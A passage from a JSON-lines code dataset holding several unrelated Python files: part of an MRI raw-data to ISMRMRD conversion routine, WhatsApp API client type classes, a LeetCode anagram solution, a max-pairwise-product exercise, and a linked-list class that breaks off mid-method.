ismrmrd_acq.slice_dir());\n\n\n ismrmrd_acq.patient_table_position[0] = scanhead['lPTABPosX'] #pylint: disable=E1101\n ismrmrd_acq.patient_table_position[1] = scanhead['lPTABPosY'] #pylint: disable=E1101\n ismrmrd_acq.patient_table_position[2] = scanhead['lPTABPosZ'] #pylint: disable=E1101\n\n # This doesn't seem to get used...\n # fixedE1E2 = True\n # if scanhead.aulEvalInfoMask[0] & (1 << 25):\n # fixedE1E2 = False # noise\n # if scanhead.aulEvalInfoMask[0] & (1 << 1):\n # fixedE1E2 = False # navigator, rt feedback\n # if scanhead.aulEvalInfoMask[0] & (1 << 2):\n # fixedE1E2 = False # hp feedback\n # if scanhead.aulEvalInfoMask[0] & (1 << 51):\n # fixedE1E2 = False # dummy\n # if scanhead.aulEvalInfoMask[0] & (1 << 5):\n # fixedE1E2 = False # synch data\n\n ismrmrd_acq.idx.average = scanhead['sLC']['ushAcquisition'] #pylint: disable=E1101\n ismrmrd_acq.idx.contrast = scanhead['sLC']['ushEcho'] #pylint: disable=E1101\n ismrmrd_acq.idx.kspace_encode_step_1 = scanhead['sLC']['ushLine'] #pylint: disable=E1101\n ismrmrd_acq.idx.kspace_encode_step_2 = scanhead['sLC']['ushPartition'] #pylint: disable=E1101\n ismrmrd_acq.idx.phase = scanhead['sLC']['ushPhase'] #pylint: disable=E1101\n ismrmrd_acq.idx.repetition = scanhead['sLC']['ushRepetition'] #pylint: disable=E1101\n ismrmrd_acq.idx.segment = scanhead['sLC']['ushSeg'] #pylint: disable=E1101\n ismrmrd_acq.idx.set = scanhead['sLC']['ushSet'] #pylint: disable=E1101\n ismrmrd_acq.idx.slice = scanhead['sLC']['ushSlice'] #pylint: disable=E1101\n ismrmrd_acq.idx.user[0] = scanhead['sLC']['ushIda'] #pylint: disable=E1101\n ismrmrd_acq.idx.user[1] = scanhead['sLC']['ushIdb'] #pylint: disable=E1101\n ismrmrd_acq.idx.user[2] = scanhead['sLC']['ushIdc'] #pylint: disable=E1101\n ismrmrd_acq.idx.user[3] = scanhead['sLC']['ushIdd'] #pylint: disable=E1101\n ismrmrd_acq.idx.user[4] = scanhead['sLC']['ushIde'] #pylint: disable=E1101\n # TODO: remove this once the GTPlus can properly autodetect partial fourier\n ismrmrd_acq.idx.user[5] = scanhead['ushKSpaceCentreLineNo'] #pylint: disable=E1101\n ismrmrd_acq.idx.user[6] = scanhead['ushKSpaceCentrePartitionNo'] #pylint: disable=E1101\n\n # *************************************************************************\n # the user_int[0] and user_int[1] are used to store user defined parameters\n # *************************************************************************\n ismrmrd_acq.user_int[0] = int(scanhead['aushIceProgramPara'][0]) #pylint: disable=E1101\n ismrmrd_acq.user_int[1] = int(scanhead['aushIceProgramPara'][1]) #pylint: disable=E1101\n ismrmrd_acq.user_int[2] = int(scanhead['aushIceProgramPara'][2]) #pylint: disable=E1101\n ismrmrd_acq.user_int[3] = int(scanhead['aushIceProgramPara'][3]) #pylint: disable=E1101\n ismrmrd_acq.user_int[4] = int(scanhead['aushIceProgramPara'][4]) #pylint: disable=E1101\n ismrmrd_acq.user_int[5] = int(scanhead['aushIceProgramPara'][5]) #pylint: disable=E1101\n ismrmrd_acq.user_int[6] = int(scanhead['aushIceProgramPara'][6]) #pylint: disable=E1101\n # TODO: in the newer version of ismrmrd, add field to store\n # time_since_perp_pulse\n ismrmrd_acq.user_int[7] = int(scanhead['ulTimeSinceLastRF']) #pylint: disable=E1101\n\n ismrmrd_acq.user_float[0] = float(scanhead['aushIceProgramPara'][8]) #pylint: disable=E1101\n ismrmrd_acq.user_float[1] = float(scanhead['aushIceProgramPara'][9]) #pylint: disable=E1101\n ismrmrd_acq.user_float[2] = float(scanhead['aushIceProgramPara'][10]) #pylint: disable=E1101\n ismrmrd_acq.user_float[3] = float(scanhead['aushIceProgramPara'][11]) #pylint: disable=E1101\n ismrmrd_acq.user_float[4] = float(scanhead['aushIceProgramPara'][12]) #pylint: disable=E1101\n ismrmrd_acq.user_float[5] = float(scanhead['aushIceProgramPara'][13]) #pylint: disable=E1101\n ismrmrd_acq.user_float[6] = float(scanhead['aushIceProgramPara'][14]) #pylint: disable=E1101\n ismrmrd_acq.user_float[7] = float(scanhead['aushIceProgramPara'][15]) #pylint: disable=E1101\n\n if scanhead['aulEvalInfoMask'][0] & (1 << 25):\n ismrmrd_acq.setFlag(defs.ACQ_IS_NOISE_MEASUREMENT)\n if scanhead['aulEvalInfoMask'][0] & (1 << 28):\n ismrmrd_acq.setFlag(defs.ACQ_FIRST_IN_SLICE)\n if scanhead['aulEvalInfoMask'][0] & (1 << 29):\n ismrmrd_acq.setFlag(defs.ACQ_LAST_IN_SLICE)\n if scanhead['aulEvalInfoMask'][0] & (1 << 11):\n ismrmrd_acq.setFlag(defs.ACQ_LAST_IN_REPETITION)\n\n # if a line is both image and ref, then do not set the ref flag\n if scanhead['aulEvalInfoMask'][0] & (1 << 23):\n ismrmrd_acq.setFlag(defs.ACQ_IS_PARALLEL_CALIBRATION_AND_IMAGING)\n else:\n if scanhead['aulEvalInfoMask'][0] & (1 << 22):\n ismrmrd_acq.setFlag(defs.ACQ_IS_PARALLEL_CALIBRATION)\n\n\n if scanhead['aulEvalInfoMask'][0] & (1 << 24):\n ismrmrd_acq.setFlag(defs.ACQ_IS_REVERSE)\n if scanhead['aulEvalInfoMask'][0] & (1 << 11):\n ismrmrd_acq.setFlag(defs.ACQ_LAST_IN_MEASUREMENT)\n if scanhead['aulEvalInfoMask'][0] & (1 << 21):\n ismrmrd_acq.setFlag(defs.ACQ_IS_PHASECORR_DATA)\n if scanhead['aulEvalInfoMask'][0] & (1 << 1):\n ismrmrd_acq.setFlag(defs.ACQ_IS_NAVIGATION_DATA)\n if scanhead['aulEvalInfoMask'][0] & (1 << 1):\n ismrmrd_acq.setFlag(defs.ACQ_IS_RTFEEDBACK_DATA)\n if scanhead['aulEvalInfoMask'][0] & (1 << 2):\n ismrmrd_acq.setFlag(defs.ACQ_IS_HPFEEDBACK_DATA)\n if scanhead['aulEvalInfoMask'][0] & (1 << 51):\n ismrmrd_acq.setFlag(defs.ACQ_IS_DUMMYSCAN_DATA)\n if scanhead['aulEvalInfoMask'][0] & (1 << 10):\n ismrmrd_acq.setFlag(defs.ACQ_IS_SURFACECOILCORRECTIONSCAN_DATA)\n if scanhead['aulEvalInfoMask'][0] & (1 << 5):\n ismrmrd_acq.setFlag(defs.ACQ_IS_DUMMYSCAN_DATA)\n # if scanhead.aulEvalInfoMask[0] & (1ULL << 1):\n # ismrmrd_acq.setFlag(ISMRMRD_ACQ_LAST_IN_REPETITION)\n\n if scanhead['aulEvalInfoMask'][0] & (1 << 46):\n ismrmrd_acq.setFlag(defs.ACQ_LAST_IN_MEASUREMENT)\n\n if flash_pat_ref_scan and ismrmrd_acq.isFlagSet(\n defs.ACQ_IS_PARALLEL_CALIBRATION):\n # For some sequences the PAT Reference data is collected using\n # a different encoding space, e.g. EPI scans with FLASH PAT Reference\n # enabled by command line option\n # TODO: it is likely that the dwell time is not set properly for this\n # type of acquisition\n ismrmrd_acq.encoding_space_ref = 1\n\n # Spiral and not noise, we will add the trajectory to the data\n if trajectory == 'TRAJECTORY_SPIRAL' and not ismrmrd_acq.isFlagSet(\n defs.ACQ_IS_NOISE_MEASUREMENT):\n\n\n # from above we have the following\n # traj_dim[0] = dimensionality (2)\n # traj_dim[1] = ngrad i.e. points per interleaf\n # traj_dim[2] = no. of interleaves\n # and\n # traj.getData() is a float * pointer to the trajectory stored\n # kspace_encode_step_1 is the interleaf number\n\n # Set the acquisition number of samples, channels and trajectory\n # dimensions this reallocates the memory\n traj_dim = traj.getDims()\n ismrmrd_acq.resize(\n scanhead['ushSamplesInScan'], scanhead['ushUsedChannels'],\n traj_dim[0])\n\n traj_samples_to_copy = ismrmrd_acq.number_of_samples() #pylint: disable=E1101\n if traj_dim[1] < traj_samples_to_copy:\n traj_samples_to_copy = traj_dim[1]\n ismrmrd_acq.discard_post = \\\n ismrmrd_acq.number_of_samples() - traj_samples_to_copy #pylint: disable=E1101\n\n # NEED TO DO THESE LINES:\n # float *t_ptr = &traj.getDataPtr()[traj_dim[0] * traj_dim[1]\n # * ismrmrd_acq.idx().kspace_encode_step_1];\n # memcpy((void *) ismrmrd_acq.getTrajPtr(), t_ptr, sizeof(float)\n # * traj_dim[0] * traj_samples_to_copy);\n raise NotImplementedError()\n else: # No trajectory\n # Set the acquisition number of samples, channels and trajectory\n # dimensions; this reallocates the memory\n ismrmrd_acq.resize(\n scanhead['ushSamplesInScan'], scanhead['ushUsedChannels'])\n\n for c in range(ismrmrd_acq.active_channels): #pylint: disable=E1101\n ismrmrd_acq.data[:] = channels[c].data\n # memcpy((complex_float_t *) &(ismrmrd_acq.getDataPtr()[c\n # ismrmrd_acq.number_of_samples()]),\n # &channels[c].data[0], ismrmrd_acq.number_of_samples()\n # * sizeof(complex_float_t))\n\n\n if np.mod(scanhead['ulScanCounter'], 1000) == 0:\n logging.info('wrote scan: %d', scanhead['ulScanCounter'])\n\n return ismrmrd_acq\n","repo_name":"mckib2/mr_utils","sub_path":"mr_utils/load_data/s2i/get_acquisition.py","file_name":"get_acquisition.py","file_ext":"py","file_size_in_byte":11621,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"21004403299","text":"from __future__ import annotations\n\n\"\"\"Types for other objects.\"\"\"\n\nimport dataclasses\nimport importlib\nfrom typing import TYPE_CHECKING, Any, Iterable\n\nfrom pywa import utils\n\nif TYPE_CHECKING:\n from message_status import MessageStatus\n\n from pywa.client import WhatsApp\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass User:\n \"\"\"\n Represents a WhatsApp user.\n\n Attributes:\n wa_id: The WhatsApp ID of the user (The phone number with the country code).\n name: The name of the user (``None`` on :class:`MessageStatus`).\n \"\"\"\n\n wa_id: str\n name: str | None\n\n @classmethod\n def from_dict(cls, data: dict) -> User:\n return cls(wa_id=data[\"wa_id\"], name=data[\"profile\"][\"name\"])\n\n def as_vcard(self) -> str:\n \"\"\"Get the user as a vCard.\"\"\"\n return \"\\n\".join(\n (\n \"BEGIN:VCARD\",\n \"VERSION:3.0\",\n f\"FN;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:{self.name}\",\n f\"TEL;type=CELL;type=VOICE:+{self.wa_id}\",\n \"END:VCARD\",\n )\n )\n\n\nclass MessageType(utils.StrEnum):\n \"\"\"\n Message types.\n\n Attributes:\n TEXT: A text message.\n IMAGE: An image message.\n VIDEO: A video message.\n DOCUMENT: A document message.\n AUDIO: An audio message.\n STICKER: A sticker message.\n REACTION: A reaction to a message.\n LOCATION: A location message.\n CONTACTS: A contacts message.\n ORDER: An order message.\n SYSTEM: A system message.\n UNKNOWN: An unknown message.\n UNSUPPORTED: An unsupported message.\n INTERACTIVE: An interactive message (callback).\n BUTTON: Quick reply button (in a template message).\n \"\"\"\n\n TEXT = \"text\"\n IMAGE = \"image\"\n VIDEO = \"video\"\n DOCUMENT = \"document\"\n AUDIO = \"audio\"\n STICKER = \"sticker\"\n REACTION = \"reaction\"\n LOCATION = \"location\"\n CONTACTS = \"contacts\"\n ORDER = \"order\"\n SYSTEM = \"system\"\n UNKNOWN = \"unknown\"\n UNSUPPORTED = \"unsupported\"\n\n INTERACTIVE = \"interactive\"\n BUTTON = \"button\"\n\n @classmethod\n def _missing_(cls, value: str) -> MessageType:\n return cls.UNKNOWN\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass Reaction(utils.FromDict):\n \"\"\"\n Represents a reaction to a message.\n\n Attributes:\n message_id: The ID of the message that was reacted to.\n emoji: The emoji that was used to react to the message (optional, ``None`` if removed).\n \"\"\"\n\n message_id: str\n emoji: str | None = None\n\n @classmethod\n def from_dict(cls, data: dict, **kwargs) -> Reaction:\n return cls(\n message_id=data[\"message_id\"], emoji=data.get(\"emoji\") or None\n ) # sometimes it's empty string 🤦‍\n\n @property\n def is_removed(self) -> bool:\n \"\"\"Check if the reaction is removed.\"\"\"\n return self.emoji is None\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass Location(utils.FromDict):\n \"\"\"\n Represents a location.\n\n Attributes:\n latitude: The latitude of the location.\n longitude: The longitude of the location.\n name: The name of the location (optional).\n address: The address of the location (optional).\n url: The URL of the location (optional).\n \"\"\"\n\n latitude: float\n longitude: float\n name: str | None = None\n address: str | None = None\n url: str | None = None\n\n @property\n def current_location(self) -> bool:\n \"\"\"Check if the shared location is the current location or manually selected.\"\"\"\n return not any((self.name, self.address, self.url))\n\n def in_radius(self, lat: float, lon: float, radius: float | int) -> bool:\n \"\"\"\n Check if the location is in a radius of another location.\n\n Args:\n lat: The latitude of the other location.\n lon: The longitude of the other location.\n radius: The radius in kilometers.\n \"\"\"\n math = importlib.import_module(\"math\")\n lon1, lat1, lon2, lat2 = map(\n math.radians, [self.longitude, self.latitude, lon, lat]\n )\n return (\n (\n 2\n * math.asin(\n math.sqrt(\n math.sin((lat2 - lat1) / 2) ** 2\n + math.cos(lat1)\n * math.cos(lat2)\n * math.sin((lon2 - lon1) / 2) ** 2\n )\n )\n )\n * 6371\n ) <= radius\n\n\n@dataclasses.dataclass(slots=True)\nclass Contact:\n \"\"\"\n Represents a contact.\n\n Attributes:\n name: The name of the contact.\n birthday: The birthday of the contact (in ``YYYY-MM-DD`` format, optional).\n phones: The phone numbers of the contact.\n emails: The email addresses of the contact.\n urls: The URLs of the contact.\n addresses: The addresses of the contact.\n org: The organization of the contact (optional).\n \"\"\"\n\n name: Name\n birthday: str | None = None\n phones: Iterable[Phone] = dataclasses.field(default_factory=tuple)\n emails: Iterable[Email] = dataclasses.field(default_factory=tuple)\n urls: Iterable[Url] = dataclasses.field(default_factory=tuple)\n addresses: Iterable[Address] = dataclasses.field(default_factory=tuple)\n org: Org | None = None\n\n @classmethod\n def from_dict(cls, data: dict):\n return cls(\n name=cls.Name.from_dict(data[\"name\"]),\n birthday=data.get(\"birthday\"),\n phones=tuple(\n cls.Phone.from_dict(phone) for phone in data.get(\"phones\", ())\n ),\n emails=tuple(\n cls.Email.from_dict(email) for email in data.get(\"emails\", ())\n ),\n urls=tuple(cls.Url.from_dict(url) for url in data.get(\"urls\", ())),\n addresses=tuple(\n cls.Address.from_dict(address) for address in data.get(\"addresses\", ())\n ),\n org=cls.Org.from_dict(data[\"org\"]) if \"org\" in data else None,\n )\n\n def to_dict(self) -> dict[str, Any]:\n \"\"\"Get the contact as a dict.\"\"\"\n return {\n \"name\": dataclasses.asdict(self.name),\n \"birthday\": self.birthday,\n \"phones\": tuple(dataclasses.asdict(phone) for phone in self.phones),\n \"emails\": tuple(dataclasses.asdict(email) for email in self.emails),\n \"urls\": tuple(dataclasses.asdict(url) for url in self.urls),\n \"addresses\": tuple(\n dataclasses.asdict(address) for address in self.addresses\n ),\n \"org\": dataclasses.asdict(self.org) if self.org else None,\n }\n\n def as_vcard(self) -> str:\n \"\"\"Get the contact as a vCard.\"\"\"\n return \"\\n\".join(\n s\n for s in (\n \"BEGIN:VCARD\",\n \"VERSION:3.0\",\n f\"FN;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:{self.name.formatted_name}\",\n f\"BDAY:{self.birthday}\" if self.birthday else None,\n \"\\n\".join(\n f\"TEL;type={phone.type}:{phone.phone}\" for phone in self.phones\n )\n if self.phones\n else None,\n \"\\n\".join(\n f\"EMAIL;type={email.type}:{email.email}\" for email in self.emails\n )\n if self.emails\n else None,\n \"\\n\".join(f\"URL;type={url.type}:{url.url}\" for url in self.urls)\n if self.urls\n else None,\n \"\\n\".join(\n f\"ADR;type={a.type}:;;{';'.join((getattr(a, f) or '') for f in ('street', 'city', 'state', 'zip', 'country') )}\"\n for a in self.addresses\n )\n if self.addresses\n else None,\n \"END:VCARD\",\n )\n if s is not None\n )\n\n @dataclasses.dataclass(frozen=True, slots=True)\n class Name(utils.FromDict):\n \"\"\"\n Represents a contact's name.\n\n - At least one of the optional parameters needs to be included along with the formatted_name parameter.\n\n Attributes:\n formatted_name: The formatted name of the contact.\n first_name: The first name of the contact (optional).\n last_name: The last name of the contact (optional).\n middle_name: The middle name of the contact (optional).\n suffix: The suffix of the contact (optional).\n prefix: The prefix of the contact (optional).\n \"\"\"\n\n formatted_name: str\n first_name: str | None = None\n last_name: str | None = None\n middle_name: str | None = None\n suffix: str | None = None\n prefix: str | None = None\n\n @dataclasses.dataclass(frozen=True, slots=True)\n class Phone(utils.FromDict):\n \"\"\"\n Represents a contact's phone number.\n\n Attributes:\n phone: The phone number (If ``wa_id`` is provided, No need for the ``phone``).\n type: The type of the phone number (Standard Values are CELL, MAIN, IPHONE, HOME, and WORK. optional).\n wa_id: The WhatsApp ID of the contact (optional).\n \"\"\"\n\n phone: str | None = None\n type: str | None = None\n wa_id: str | None = None\n\n @dataclasses.dataclass(frozen=True, slots=True)\n class Email(utils.FromDict):\n \"\"\"\n Represents a contact's email address.\n\n Attributes:\n email: The email address.\n type: The type of the email address (Standard Values are WORK and HOME. optional).\n \"\"\"\n\n email: str | None = None\n type: str | None = None\n\n @dataclasses.dataclass(frozen=True, slots=True)\n class Url(utils.FromDict):\n \"\"\"\n Represents a contact's URL.\n\n Attributes:\n url: The URL.\n type: The type of the URL (Standard Values are WORK and HOME. optional).\n \"\"\"\n\n url: str | None = None\n type: str | None = None\n\n @dataclasses.dataclass(frozen=True, slots=True)\n class Org(utils.FromDict):\n \"\"\"\n Represents a contact's organization.\n\n Attributes:\n company: The company of the contact (optional).\n department: The department of the contact (optional).\n title: The title of the business contact (optional).\n \"\"\"\n\n company: str | None = None\n department: str | None = None\n title: str | None = None\n\n @dataclasses.dataclass(frozen=True, slots=True)\n class Address(utils.FromDict):\n \"\"\"\n Represents a contact's address.\n\n Attributes:\n street: The street number and name of the address (optional).\n city: The city name of the address (optional).\n state: State abbreviation.\n zip: Zip code of the address (optional).\n country: Full country name.\n country_code: Two-letter country abbreviation (e.g. US, GB, IN. optional).\n type: The type of the address (Standard Values are WORK and HOME. optional).\n \"\"\"\n\n street: str | None = None\n city: str | None = None\n state: str | None = None\n zip: str | None = None\n country: str | None = None\n country_code: str | None = None\n type: str | None = None\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass ReferredProduct:\n \"\"\"\n Represents a product this message is referring to.\n\n Attributes:\n catalog_id:\n sku: Unique identifier of the product in a catalog (also referred to as ``Content ID`` or ``Retailer ID``).\n\n \"\"\"\n\n catalog_id: str\n sku: str\n\n @classmethod\n def from_dict(cls, data: dict | None) -> ReferredProduct | None:\n return (\n cls(\n catalog_id=data[\"catalog_id\"],\n sku=data[\"product_retailer_id\"],\n )\n if data\n else None\n )\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass ReplyToMessage:\n \"\"\"\n Represents a message that was replied to.\n\n Attributes:\n message_id: The ID of the message that was replied to.\n from_user_id: The ID of the user who sent the message that was replied to.\n referred_product: Referred product describing the product the user is requesting information about.\n \"\"\"\n\n message_id: str\n from_user_id: str\n referred_product: ReferredProduct | None\n\n @classmethod\n def from_dict(cls, data: dict | None) -> ReplyToMessage | None:\n return (\n cls(\n message_id=data[\"id\"],\n from_user_id=data[\"from\"],\n referred_product=ReferredProduct.from_dict(\n data.get(\"referred_product\")\n ),\n )\n if (data and \"id\" in data)\n else None\n )\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass Metadata(utils.FromDict):\n \"\"\"\n Represents the metadata of a message.\n\n Attributes:\n display_phone_number: The phone number to which the message was sent.\n phone_number_id: The ID of the phone number to which the message was sent.\n \"\"\"\n\n display_phone_number: str\n phone_number_id: str\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass Product:\n \"\"\"\n Represents a product in an order.\n\n Attributes:\n sku: Unique identifier of the product in a catalog (also referred to as ``Content ID`` or ``Retailer ID``).\n quantity: Number of items ordered.\n price: Price of the item.\n currency: Currency of the price.\n \"\"\"\n\n sku: str\n quantity: int\n price: float\n currency: str\n\n @classmethod\n def from_dict(cls, data: dict) -> Product:\n return cls(\n sku=data[\"product_retailer_id\"],\n quantity=data[\"quantity\"],\n price=data[\"item_price\"],\n currency=data[\"currency\"],\n )\n\n @property\n def total_price(self) -> float:\n \"\"\"Total price of the product.\"\"\"\n return self.quantity * self.price\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass Order:\n \"\"\"\n Represents an order.\n\n Attributes:\n catalog_id: The ID for the catalog the ordered item belongs to.\n products:The ordered products.\n text: Text message from the user sent along with the order (optional).\n\n Properties:\n total_price: Total price of the order.\n \"\"\"\n\n catalog_id: str\n products: tuple[Product]\n text: str | None\n\n @classmethod\n def from_dict(cls, data: dict, _client: WhatsApp) -> Order:\n return cls(\n catalog_id=data[\"catalog_id\"],\n text=data.get(\"text\"),\n products=tuple(Product.from_dict(p) for p in data[\"product_items\"]),\n )\n\n @property\n def total_price(self) -> float:\n \"\"\"Total price of the order.\"\"\"\n return sum(p.total_price for p in self.products)\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass System:\n \"\"\"\n Represents a system update (A customer has updated their phone number or profile information).\n\n Attributes:\n type: The type of the system update (``customer_changed_number`` or ``customer_identity_changed``).\n body: Describes the change to the customer's identity or phone number.\n identity: Hash for the identity fetched from server.\n wa_id: The WhatsApp ID for the customer prior to the update.\n new_wa_id: New WhatsApp ID for the customer when their phone number is updated.\n \"\"\"\n\n type: str | None\n body: str | None\n identity: str | None\n wa_id: str | None\n new_wa_id: str | None\n\n @classmethod\n def from_dict(cls, data: dict, _client: WhatsApp) -> System:\n return cls(\n type=data.get(\"type\"),\n body=data.get(\"body\"),\n identity=data.get(\"identity\"),\n wa_id=data.get(\"customer\"),\n new_wa_id=data.get(\"wa_id\"),\n )\n\n\n@dataclasses.dataclass(slots=True)\nclass ProductsSection:\n \"\"\"\n Represents a section in a section list.\n\n Attributes:\n title: The title of the products section (up to 24 characters).\n skus: The SKUs of the products in the section (at least 1, no more than 30).\n \"\"\"\n\n title: str\n skus: Iterable[str]\n\n def to_dict(self) -> dict:\n return {\n \"title\": self.title,\n \"product_items\": tuple({\"product_retailer_id\": sku} for sku in self.skus),\n }\n\n\nclass Industry(utils.StrEnum):\n \"\"\"\n Represents the industry of a business.\n\n Attributes:\n UNDEFINED: Undefined.\n OTHER: Other.\n AUTO: Automotive.\n BEAUTY: Beauty.\n APPAREL: Apparel.\n EDU: Education.\n ENTERTAIN: Entertainment.\n EVENT_PLAN: Event planning.\n FINANCE: Finance.\n GROCERY: Grocery store.\n GOVT: Government.\n HOTEL: Hotel.\n HEALTH: Health.\n NONPROFIT: Nonprofit.\n PROF_SERVICES: Professional services.\n RETAIL: Retail.\n TRAVEL: Travel.\n RESTAURANT: Restaurant.\n NOT_A_BIZ: Not a business.\n \"\"\"\n\n UNDEFINED = \"UNDEFINED\"\n OTHER = \"OTHER\"\n AUTO = \"AUTO\"\n BEAUTY = \"BEAUTY\"\n APPAREL = \"APPAREL\"\n EDU = \"EDU\"\n ENTERTAIN = \"ENTERTAIN\"\n EVENT_PLAN = \"EVENT_PLAN\"\n FINANCE = \"FINANCE\"\n GROCERY = \"GROCERY\"\n GOVT = \"GOVT\"\n HOTEL = \"HOTEL\"\n HEALTH = \"HEALTH\"\n NONPROFIT = \"NONPROFIT\"\n PROF_SERVICES = \"PROF_SERVICES\"\n RETAIL = \"RETAIL\"\n TRAVEL = \"TRAVEL\"\n RESTAURANT = \"RESTAURANT\"\n NOT_A_BIZ = \"NOT_A_BIZ\"\n\n @classmethod\n def _missing_(cls, value: str) -> None:\n return None\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass BusinessProfile:\n \"\"\"\n Represents a business profile.\n\n Attributes:\n about: This text appears in the business's profile, beneath its profile image, phone number, and contact buttons.\n address: Address of the business. Character limit 256.\n description: Description of the business. Character limit 512.\n email: The contact email address (in valid email format) of the business. Character limit 128.\n industry: The industry of the business.\n profile_picture_url: URL of the profile picture that was uploaded to Meta.\n websites: The URLs associated with the business. For instance, a website, Facebook Page, or Instagram.\n There is a maximum of 2 websites with a maximum of 256 characters each.\n \"\"\"\n\n about: str\n address: str | None\n industry: Industry\n description: str | None\n email: str | None\n profile_picture_url: str | None\n websites: tuple[str] | None\n\n @classmethod\n def from_dict(cls, data: dict) -> BusinessProfile:\n return cls(\n about=data[\"about\"],\n address=data.get(\"address\"),\n industry=Industry(data[\"vertical\"]),\n description=data.get(\"description\"),\n email=data.get(\"email\"),\n profile_picture_url=data.get(\"profile_picture_url\"),\n websites=tuple(data.get(\"websites\", [])) or None,\n )\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass CommerceSettings:\n \"\"\"\n Represents the WhatsApp commerce settings.\n\n Attributes:\n catalog_id: The ID of the catalog associated with the business.\n is_catalog_visible: Whether the catalog is visible to customers.\n is_cart_enabled: Whether the cart is enabled.\n \"\"\"\n\n catalog_id: str\n is_catalog_visible: bool\n is_cart_enabled: bool\n\n @classmethod\n def from_dict(cls, data: dict) -> CommerceSettings:\n return cls(\n catalog_id=data[\"id\"],\n is_catalog_visible=data[\"is_catalog_visible\"],\n is_cart_enabled=data[\"is_cart_enabled\"],\n )\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass WhatsAppBusinessAccount(utils.FromDict):\n \"\"\"\n Represents a WhatsApp Business Account.\n\n Attributes:\n id: The ID of the account.\n message_template_namespace: The namespace of the message templates.\n name: The name of the account.\n timezone_id: The timezone ID of the account.\n \"\"\"\n\n id: str\n message_template_namespace: str\n name: str\n timezone_id: str\n\n\n@dataclasses.dataclass(frozen=True, slots=True)\nclass FacebookApplication(utils.FromDict):\n \"\"\"\n Represents a Facebook Application.\n\n Attributes:\n id: The ID of the application.\n name: The name of the application.\n link: The link to the application.\n \"\"\"\n\n id: str\n name: str\n link: str\n","repo_name":"david-lev/pywa","sub_path":"pywa/types/others.py","file_name":"others.py","file_ext":"py","file_size_in_byte":20662,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"37"} +{"seq_id":"28568016085","text":"class Solution:\n def isAnagram(self, s: str, t: str) -> bool:\n if len(s) != len(t) : \n return False\n \n s_dict = {}\n t_dict = {}\n \n for character in range(len(s)) : #counting values in s and t\n s_dict[s[character]] = 1 + s_dict.get(s[character] , 0) #if key doesn't exist set default 0\n t_dict[t[character]] = 1 + t_dict.get(t[character] , 0)\n \n for count in s_dict:\n if s_dict[count] != t_dict.get(count, 0 ):\n return False\n return True\n","repo_name":"Tanjib-Rafi/Leetcode","sub_path":"242. Valid Anagram.py","file_name":"242. Valid Anagram.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35874543067","text":"# python3\n\ndef max_pairwise_product_naive(numbers):\n assert len(numbers) >= 2\n assert all(0 <= x <= 2 * 10 ** 5 for x in numbers)\n\n product = 0\n\n for i in range(len(numbers)):\n for j in range(i + 1, len(numbers)):\n product = max(product, numbers[i] * numbers[j])\n\n return product\n\n\ndef max_pairwise_product(numbers):\n assert len(numbers) >= 2\n assert all(0 <= x <= 2 * 10 ** 5 for x in numbers)\n\n highest = 0\n next_highest = 0\n\n for number in numbers:\n if number > highest:\n next_highest = highest\n highest = number\n continue\n\n if number > next_highest:\n next_highest = number\n\n return next_highest * highest\n\n\nif __name__ == '__main__':\n n = int(input())\n input_numbers = list(map(int, input().split()))\n assert len(input_numbers) == n\n print(max_pairwise_product(input_numbers))\n","repo_name":"trentmillar/algorithmic-toolbox-py","sub_path":"Programming Challenges/Maximum Pairwise Product/maximum_pairwise_product.py","file_name":"maximum_pairwise_product.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29263050214","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n\"\"\"\n@author:cfl\n@file:slinklist.py\n@time:2021/12/13\n@software:PyCharm\n\"\"\"\n\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass SlinkList:\n def __init__(self):\n self.phead = None # 头指针\n self.length = 0\n\n # 尾插法\n def appendtail(self, data):\n node = Node(data)\n\n # 头结点为空,说明该链表还没有元素\n if self.phead != None:\n pl = self.phead\n while pl.next != None:\n pl = pl.next\n pl.next = node\n else:\n self.phead = node\n\n self.length += 1\n\n # 获取指定位置的结点值\n def getData(self, index):\n if index >= self.length:\n print('越界,上界')\n return None\n elif index < 0:\n print('越界,下界')\n return None\n\n p1 = self.phead\n n = 0\n while n < index:\n n += 1\n p1 = p1.next\n\n return p1.data\n\n # 单向链表的随机插入,按位置插入,插入到指定位置的前端\n def insert(self, data, index):\n\n # 针对位置越界的情况进行判定\n if index > self.length:\n print('越界,上界')\n index = self.length\n elif index < 0:\n print('越界,下界')\n index = 0\n\n node = Node(data)\n if index > 0:\n p1 = self.phead\n n = 0\n while n < (index - 1):\n p1 = p1.next\n n += 1\n node.next = p1.next\n p1.next = node\n else:\n # 插在头部,也就是index=0\n node.next = self.phead\n self.phead = node\n\n self.length += 1\n\n # 单向链表按位置删除\n def remove(self, index):\n if index >= self.length:\n print('越界,上界')\n return None\n elif index < 0:\n print('越界,下界')\n return None\n else:\n node = None\n if index > 0:\n p1 = self.phead\n n = 0\n while n < (index - 1):\n p1 = p1.next\n n += 1\n node = p1.next\n p1.next = node.next\n node.next = None\n else:\n node = self.phead\n self.phead = node.next\n node.next = None\n\n self.length -= 1\n\n return node.data\n\n # 返回结点列表\n def display(self):\n lst = []\n node = self.phead\n while node != None:\n lst.append(node.data)\n node = node.next\n return lst\n\n # 构造带环结点,n是闭合结点的位置\n def 